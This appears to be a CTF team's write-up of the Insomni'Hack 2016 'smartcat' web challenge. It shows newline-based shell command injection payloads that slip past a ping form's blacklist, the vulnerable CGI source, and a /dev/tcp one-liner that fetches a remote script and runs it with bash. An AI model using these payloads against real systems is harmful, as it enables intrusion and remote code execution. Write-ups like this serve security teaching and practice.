Insomni'Hack Teaser 2016 - smartcat

by pogliamarci on January 16, 2016 under InsomniHack

4 minute read · 0 Comments (/insomnihack/web/smartcat/#disqus_thread)

In the smartcat challenge, we were given a tiny web application with just a single functionality: a form that allows to remotely ping an arbitrary host (yeah, that is the most classical example of shell command injection!). The challenge is divided in two parts (smartcat1 and smartcat2). Although not difficult, it was quite fun, especially the second part.

smartcat1 (50 points)

> Damn it, that stupid smart cat litter is broken again! Now only the debug interface is available here (http://smartcat.insomnihack.ch/cgi-bin/index.cgi) and this stupid thing only permits one ping to be sent! I know my contract number is stored somewhere on that interface but I can't find it and this is the only available page! Please have a look and get this info for me!

Pointing a browser to the debug interface, we are greeted with a form that accepts a single parameter and prints what seems the output of the Linux `ping` command. In fact, pinging a non-existent host gives the message `Error running ping -c 1` . Trying a trivial injection fails, and the error reveals that there is a blacklist of allowed characters in the request string. Good, otherwise the challenge would not have been fun at all!

After a few tries, we notice that the newline character (`0x0A`) is not blacklisted: we are able to retrieve the path and content of the current directory with a POST request to `index.cgi` , using `%0apwd%0als` as the `dest` parameter (i.e., the host to ping). This leads to this output:

```
/var/www/cgi-bin
index.cgi
there
```

Likely, the flag is in `there`, which is a directory. Unfortunately, the whitespace character is blacklisted, so can't use the ls command to list the contents. To overcome this issue, we used `find` (without any argument) to recurse into the subdirectories of the current directory and list their content. Doing a request with `dest=%0afind` as a parameter leads to:

```
.
./index.cgi
./there
./there/is
./there/is/your
./there/is/your/flag
./there/is/your/flag/or
./there/is/your/flag/or/maybe
./there/is/your/flag/or/maybe/not
./there/is/your/flag/or/maybe/not/what
./there/is/your/flag/or/maybe/not/what/do
./there/is/your/flag/or/maybe/not/what/do/you
./there/is/your/flag/or/maybe/not/what/do/you/think
./there/is/your/flag/or/maybe/not/what/do/you/think/really
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/th
ough
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/th
ough/here
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/th
ough/here/is
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/th
ough/here/is/the
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/th
ough/here/is/the/flag
```

... and finally we just (smart)cat the flag:

```
dest=dest=%0acat<there/is/your/flag/or/maybe/not/what/do/you/think/really/ple
ase/tell/me/seriously/though/here/is/the/flag
```

```
<p>Ping results:</p><br/>
  <pre>INS{warm_kitty_smelly_kitty_flush_flush_flush}
</pre>
```

By the way, using cat we can also retrieve the web application source code (`dest=%0acat<index.cgi`). It is a simple Python CGI script, which filters the input according to a blacklist:

```
blacklist = " $;&|({`\t"
```

and then passes it to the `ping` command without further sanitization:

```
results = subprocess.check_output("ping -c 1 "+dest, shell=True)
```

smartcat2 (50 points)

> Almost there, but now you should be able to do better than a cat (sorry about the pun). I'm sure you can leverage the previous bug to get a shell. Go on that debug interface (http://smartcat.insomnihack.ch/cgi-bin/index.cgi) again and read the flag in /home/smartcat/

Now we are told that the flag is in `/home/smartcat`. As we can't use whitespaces, we need a smarter way to `cd` to that directory and list the content: using `dest=%0aHOME=/home/smartcat%0acd%0als` does the trick, and reveals that the directory contains two files:

```
flag2
readflag
```

We don't have the permissions to read `flag2`, but we can read and execute `readflag` (which is an executable binary). Running it, we are greeted with this message:

> Almost there... just trying to make sure you can execute arbitrary commands.... Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'. Do not include the quotes. Each part is a different line.

At this point, we decided to use some bash-fu to retrieve and execute a file from a remote host. We used the `/dev/tcp` bashism to retrieve a script from an remote host, and give it as an input to `bash`:

```
bash << EOF
bash < /dev/tcp/127.0.0.1/9000
EOF
ls
```

a.k.a. `dest=%0Abash<<EOF%0Abash</dev/tcp/127.0.0.1/9000%0AEOF%0Als` . We terminate the command with `ls` so that the CGI application receives a successful return code in any case. Instead of 127.0.0.1, we put the address of a publicly-accessible host which was serving the following file on TCP port 9000:

```
#!/bin/bash

cd /home/smartcat
(
   echo "Give me a..."
   sleep 2
   echo "... flag!"
) | ./readflag
```

That was it. And the flag is...

```
Flag:
            ___
        .-"; ! ;"-.
      .'!  : | :  !`.
     /\  ! : ! : !  /\
    /\ |  ! :|: !  | /\
   (  \ \ ; :!: ; / /  )
  ( `. \ | !:|:! | / .' )
  (`. \ \ \!:|:!/ / / .')
   \ `.`.\ |!|! |/,'.' /
    `._`.\\\!!!// .'_.'
       `.`.\\|//.'.'
        |`._`n'_.'|  hjw
        "____^____"

INS{shells_are _way_better_than_cats}
```

Of course, with the same trick, we could also have launched an interactive reverse shell and read the flag from there :-)

Insomni'Hack, Web

We ❤ feedback.
Let us know what you think of this article on twitter @towerofhanoi (http://www.twitter.com/towerofhanoi) or leave a comment below!

Read More (/hacklu2018/reverse/Forgetful_Commander/)

Hacklu2018 - Forgetful Commander (/hacklu2018/reverse/Forgetful_Commander/)

Forgetful Commander And you lost a key again. This time it's the key to your missiles command station. However, the command station got a silent password override. Even though your... Continue Reading (/hacklu2018/reverse/Forgetful_Commander/)

Hack.lu 2015 - Stackstuff 150
(/hack.lu/2015/exploitable/StackStuff/)
Published October 23, 2015

PlaidCTF - Pound 290
(/plaidctf/2016/exploitable/Pound/)
Published May 23, 2016